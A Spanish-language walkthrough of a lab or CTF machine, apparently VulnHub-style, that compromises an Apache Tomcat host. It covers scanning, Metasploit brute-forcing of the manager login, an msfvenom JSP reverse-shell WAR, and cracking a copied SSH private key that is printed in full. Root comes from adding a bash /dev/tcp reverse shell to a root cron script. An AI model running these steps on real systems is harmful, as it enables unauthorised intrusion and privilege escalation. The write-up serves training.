Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 03:43 EDT
Nmap scan report for 192.168.195.141
Host is up (0.00043s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8c:19:ab:91:72:a5:71:d8:6d:75:1d:8f:65:df:e1:32 (RSA)
|   256 90:6e:a0:ee:d5:29:6c:b9:7b:05:db:c6:82:5c:19:bf (ECDSA)
|_  256 54:4d:7b:e8:f9:7f:21:34:3e:ed:0f:d9:fe:93:bf:00 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.52
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.52
MAC Address: 00:0C:29:0A:DB:1A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.43 ms 192.168.195.141

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.59 seconds
```

Dirb

```
dirb http://<IP>:8080/ <WORDLIST>
```

Info:

```

```

DIRB v2.22
By The Dark Raver

START_TIME: Tue May 21 03:48:00 2024
URL_BASE: http://192.168.195.141:8080/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt

GENERATED WORDS: 20458

---- Scanning URL: http://192.168.195.141:8080/ ----

+ http://192.168.195.141:8080/[(CODE:400|SIZE:762)
+ http://192.168.195.141:8080/] (CODE:400|SIZE:762)
+ http://192.168.195.141:8080/docs (CODE:302|SIZE:0)
+ http://192.168.195.141:8080/examples (CODE:302|SIZE:0)
+ http://192.168.195.141:8080/favicon.ico (CODE:200|SIZE:21630)
+ http://192.168.195.141:8080/manager (CODE:302|SIZE:0)
+ http://192.168.195.141:8080/plain] (CODE:400|SIZE:762)
+ http://192.168.195.141:8080/quote] (CODE:400|SIZE:762)
+ http://192.168.195.141:8080/shell (CODE:302|SIZE:0)

END_TIME: Tue May 21 03:49:16 2024
DOWNLOADED: 20458 - FOUND: 9

```
## Puerto 8080

Encontramos un ``tomcat`` con pocas ubicaciones que sean interesantes...

En la ubicacion de ``/manager/`` hay un panel de login, probaremos fuerza bruta...

### msfconsole

```shell
msfconsole -q

use auxiliary/scanner/http/tomcat_mgr_login

show options

#Dentro de las opciones
set RHOSTS <IP>

run
```

Info:

```
[!] No active DB -- Credential data will not be saved!
[+] 192.168.195.141:8080 - Login Successful: tomcat:role1
```

Probara muchas credenciales y entre ellas, habra una con la que funcione...

```
User = tomcat
Password = role1
```

Una vez dentro del panel de administrador, vamos a tener que hacer una `Reverse Shell` haciendo lo siguiente...
```

Desde nuestro `host` creamos un archivo malicioso con el formato que admite `tomcat` `.war` para luego subirlo y ejecutarlo...

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war -o reverse.war
```

Una vez creado este archivo lo subimos desde el panel del `tomcat` y lo ejecutamos entrando dentro del mismo estando a la escucha...

```
nc -lvnp <PORT>
```

Hecho esto estariamos dentro con una shell rara, por lo que la sanitizamos...

```
/bin/bash

script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si nos vamos a `/home/` vemos una carpeta llamada `thales` dentro de ella encontramos un `.ssh/` por lo que nos copiamos el `id_rsa` privado a nuestro `host` por lo que haremos lo siguiente...

id_rsa:

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6103FE9ABCD5EF41F96C07F531922AAF

ZMlKhm2S2Cqbj+k3h8MgQFr6oG4CBKqF1NfT04fJPs1xbXe00aSdS+QgIbSaKWMh
+/ILeS/r8rFUt9isW2QAH7JYEWBgR4Z/9KSMSUd1aEyjxz7FpZj2cL1Erj9wK9ZA
InMmkm7xAKOWKwLTJeMS3GB4X9AX9ef/Ijmxx/cvvIauK5G2jPRyGSazMjK0QcwX
pkwnm4EwXPDiktkwzg15RwIhJdZBbrMj7WW9kt0CF9P754mChdIWzHrxYhCUIfWd
rHbDYTKmfL18LYhHaj9ZklkZjb8li8JIPvnJDcnLsCY+6X1xB9dqbUGGtSHNnHiL
rmrOSfI7RYt9gCgMtFimYRaS7gFuvZE/NmmIUJkH3Ccv1mIj3wT1TCtvREv+eKgf
/nj+3A6ZSQKFdlm22YZBilE4npxGOC03s81Rbvg90cxOhxYGTZMu/jU9ebUT2HAh
o1B972ZAWj3m5sDZRiQ+wTGqwFBFxF9EPia6sRM/tBKaigIElDSyvz1C46mLTmBS
f8KNwx5rNXkNM7dYX1Sykg0RreKO1weYAA0yQSHCY+iJTIf81CuDcgOIYRywHIPU
9rI20K910cLLo+ySa7O4KDcmIL1WCnGbrD4PwupQ68G2YG0ZOOIrwE9efkpwXPCR
Vi2TO2Zut8x6ZEFjz4d3aWIzWtf1IugQrsmBK+akRLBPjQVy/LyApqvV+tYfQelV
v9pEKMxR5f1gFmZpTbZ6HDHmEO4Y7gXvUXphjW5uijYemcyGx0HSqCSER7y7+phA
h0NEJHSBSdMpvoS7oSIxC0qe4QsSwITYtJs5fKuvJejRGpoh1O2HE+etITXlFffm
2J1fdQgPo+qbOVSMGmkITfTBDh1ODG7TZYAq8OLyEh/yiALoZ8T1AEeAJev5hON5
PUUP8cxX4SH43lnsmIDjn8M+nEsMEWVZzvaqo6a2Sfa/SEdxq8ZIM1Nm8fLuS8N2
GCrvRmCd7H+KrMIY2Y4QuTFR1etulbBPbmcCmpsXlj496bE7n5WwILLw3Oe4IbZm
ztB5WYAww6yyheLmgU4WkKMx2sOWDWZ/TSEP0j9esOeh2mOt/7Grrhn3xr8zqnCY
i4utbnsjL4U7QVaa+zWz6PNiShH/LEpuRu2lJWZU8mZ7OyUyx9zoPRWEmz/mhOAb
jRMSyfLNFggfzjswgcbwubUrpX2Gn6XMb+MbTY3CRXYqLaGStxUtcpMdpj4QrFLP
eP/3PGXugeJi8anYMxIMc3cJR03EktX5Cj1TQRCjPWGoatOMh02akMHvVrRKGG1d
/sMTTIDrlYlrEAfQXacjQF0gzqxy7jQaUc0k4Vq5iWggjXNV2zbR/YYFwUzgSjSe
```

```
SNZzz4AMwRtlCWxrdoD/exvCeKWuObPlajTI3MaUoxPjOvhQK55XWIcg+ogo9X5x
B8XDQ3qW6QJLFELXpAnl5zW5cAHXAVzCp+VtgQyrPU04gkoOrlrj5u22UU8giTdq
nLypW+J5rGepKGrklOP7dxEBbQiy5XDm/K/22r9y+Lwyl38LDF2va22szGoW/oT+
8eZHEOYASwoSKng9UEhNvX/JpsGig5sAamBgG1sV9phyR2Y9MNb/698hHyULD78C
-----END RSA PRIVATE KEY-----
```

Si crackeamos la contraseña que contiene este `id_rsa`...

```
ssh2john id_rsa > sshclaves
```

Info:

```
id_rsa:$sshng$1$16$6103FE9ABCD5EF41F96C07F531922AAF$1200$64c94a866d92d82a9b8fe93787c3
20405afaa06e0204aa85d4d7d3d387c93ecd716d77b4d1a49d4be42021b49a296321fbf20b792febf2b15
4b7d8ac5b64001fb25811606047867ff4a48c494775684ca3c73ec5a598f670bd44ae3f702bd640227326
926ef100a3962b02d325e312dc60785fd017f5e7ff2239b1c7f72fbc86ae2b91b68cf4721926b33232b44
1cc17a64c279b81305cf0e292d930ce0d7947022125d6416eb323ed65bd92dd0217d3fbe7898285d216cc
7af162109421f59dac76c36132a67cbd7c2d88476a3f599259198dbf258bc2483ef9c90dc9cbb0263ee97
d7107d76a6d4186b521cd9c788bae6ace49f23b458b7d80280cb458a6611692ee016ebd913f3669885099
07dc272fd66223df04f54c2b6f444bfe78a81ffe78fedc0e994902857659b6d986418a51389e9c46382d3
7b3cd516ef83dd1cc4e8716064d932efe353d79b513d87021a3507def66405a3de6e6c0d946243ec131aa
c05045c45f443e26bab1133fb4129a8a02049434b2bf3d42e3a98b4e60527fc28dc31e6b35790d33b7585
f54b2920d11ade28ed70798000d324121c263e8894c87fcd42b83720388611cb01c83d4f6b236d0af75d1
c2cba3ec926bb3b828372620bd560a719bac3e0fc2ea50ebc1b6606d1938e22bc04f5e7e4a705cf091562
d933b666eb7cc7a644163cf87776962335ad7f522e810aec9812be6a444b04f8d0572fcbc80a6abd5fad6
1f41e955bfda4428cc51e5fd601666694db67a1c31e610ee18ee05ef517a618d6e6e8a361e99cc86c741d
2a8248447bcbbfa9840874344247481 49d329be84bba122310b4a9ee10b12c084d8b49b397cabaf25e8d1
1a9a21d4ed8713e7ad2135e515f7e6d89d5f75080fa3ea9b39548c1a69084df4c10e1d4e0c6ed365802af
0e2f2121ff28802e867c4f500478025ebf984e3793d450ff1cc57e121f8de59ec9880e39fc33e9c4b0c11
6559cef6aaa3a6b649f6bf484771abc648335366f1f2ee4bc376182aef46609dec7f8aacc218d98e10b93
151d5eb6e95b04f6e67029a9b17963e3de9b13b9f95b020b2f0dce7b821b666ced079598030c3acb285e2
e6814e1690a331dac3960d667f4d210fd23f5eb0e7a1da63adffb1abae19f7c6bf33aa70988b8bad6e7b2
32f853b41569afb35b3e8f3624a11ff2c4a6e46eda5256654f2667b3b2532c7dce83d15849b3fe684e01b
8d1312c9f2cd16081fce3b3081c6f0b9b52ba57d869fa5cc6fe31b4d8dc245762a2da192b7152d72931da
63e10ac52cf78fff73c65ee81e262f1a9d833120c737709474dc492d5f90a3d534110a33d61a86ad38c87
4d9a90c1ef56b44a186d5dfec3134c80eb95896b1007d05da723405d20ceac72ee341a51cd24e15ab9896
8208d7355db36d1fd8605c14ce04a349e48d673cf800cc11b65096c6b7680ff7b1bc278a5ae39b3e56a34
c8dcc694a313e33af8502b9e57588720fa8828f57e7107c5c3437a96e9024b1442d7a409e5e735b97001d
7015cc2a7e56d810cab3d4d38824a0eae5ae3e6edb6514f2089376a9cbca95be279ac67a9286ae494e3fb
7711016d08b2e570e6fcaff6dabf72f8bc32977f0b0c5daf6b6daccc6a16fe84fef1e64710e6004b0a122
a783d50484dbd7fc9a6c1a2839b006a60601b5b15f6987247663d30d6ffebdf211f250b0fbf02
```

Con esto nos saca la `passwd` codificada...

```
john --wordlist=<WORDLIST> sshclaves
```

Info:

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
vodka06          (id_rsa)
1g 0:00:00:03 DONE (2024-05-21 05:55) 0.2770g/s 792195p/s 792195c/s 792195C/s
vodka1420..vodka0260
```

```
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

credentials:

```
user = thales
password = vodka06
```

Con esto ya seriamos el siguiente usuario...

Leemos la flag...

> user.txt (flag1)

```
a837c0b5d2a8a07225fd9905f5a0e9c4

id

#Resultado
uid=1000(thales) gid=1000(thales)
groups=1000(thales),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
```

Si vemos los logs de los crontabs que se estan ejecutando, veremos que hay un crontab ejecutandose cada x tiempo el `.sh`, por lo que haremos lo siguiente...

```
grep CRON /var/log/syslog

May 22 09:45:01 miletus CRON[3139]: (root) CMD (bash /usr/local/bin/backup.sh)
```

Añadimos al `backup.sh` una Reverse Shell...

```
#Dentro del backup.sh
sh -i >& /dev/tcp/<IP>/<PORT> 0>&1

nc -lvnp <PORT>
```

Y hay que esperar un rato hasta que lo ejecute el servidor, una vez se ejecute seriamos `root`...

Leemos la flag...

> root.txt(flag2)

```
3a1c85bebf8833b0ecae900fb8598b17
```